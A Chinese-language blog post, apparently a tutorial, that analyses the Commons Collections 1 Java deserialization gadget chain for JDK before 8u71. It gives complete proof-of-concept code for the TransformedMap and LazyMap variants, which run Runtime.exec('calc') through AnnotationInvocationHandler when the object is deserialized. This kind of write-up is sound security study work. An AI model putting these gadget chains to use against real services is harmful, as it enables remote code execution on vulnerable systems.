Java反序列化漏洞——CommonsCollections1链分析

CC1的链在jdk-8u71之后因为AnnotationInvocationHandler的修改已无法利用。

一、TransformedMap

基于jdk-8u65进行试验

1.Rutime.getRuntime().exec()

Runtime.getRuntime().exec("calc");

2.Runtime类不允许序列化,所有需要调用反射进行命令执行,将如上进行反射

Class<?> runtimeclass = Class.forName("java.lang.Runtime");
Constructor<?> declaredConstructor = runtimeclass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Object instance = declaredConstructor.newInstance();
Method exec = runtimeclass.getDeclaredMethod("exec", String.class);
exec.invoke(instance,"calc");

3.用InvokeTransformer的transform方法替换

Class<?> runtimeclass = Class.forName("java.lang.Runtime");
Constructor<?> declaredConstructor = runtimeclass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Object instance = declaredConstructor.newInstance();

InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"});
exec.transform(instance);

4.转换为cc链版本

Object getRuntime = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Object exec = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(exec);

5.用chainedTransformer将如上的Transformer连接起来。

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

6.接下来看有没有别的类调用transform方法,并且可以参数是Object且可控,举例TransformeMap实例的

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
outerMap.put("test", "xxxx");

利用过程:

  • 1)构造一个Map和一个能够执行代码的ChainedTransformer

  • 2)生成一个TransformedMap实例

  • 3)调用decorate后通过put修改我们的键值对

  • 4)触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换

进一步寻找链:

我们知道,如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我么就可以实现攻击目标。

  • 这时候发现这个类就是sun.reflect.annotation.AnnotationInvocationHandler(8u71以前可以,8u71以后做了一些修改),如下是AnnotationInvocationHandler的readObject方法,核心逻辑就是Map.Entry<String, Object> memberValue : memberValues.entrySet() 和memberValue.setValue(...)。

  • memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。

//Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了java.io.Serializable 接口。而我们最早传给ConstantTransformer的是Runtime.getRuntime() ,Runtime类是没有实现java.io.Serializable 接口的,所以不允许被序列化。
//将Runtime.getRuntime() 换成了Runtime.class ,前者是一个java.lang.Runtime 对象,后者是一个java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:
innerMap.put("value","xxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来,因为sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。
//AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Target.class, outerMap);

//通过如下代码将这个对象生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

//通过如下代码进行反序列化测试
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = objectInputStream.readObject();

二、LazyMap

  • LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform

  • 但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法中并没有直接调用到Map的get方法

  • 所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get。

  • 并且恰巧的是AnnotationInvocationHandler这个类实际就是一个InvocationHandler,如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke 方法中,进而触发我们的LazyMap#get

public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//        直接调用get执行payload
//        outerMap.get("test");
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) construct.newInstance(Target.class, outerMap);
    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
    Object handle = construct.newInstance(Target.class, proxyMap);
    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(handle);
    oos.close();
    System.out.println(barr);
    ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    objectInputStream.readObject();
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值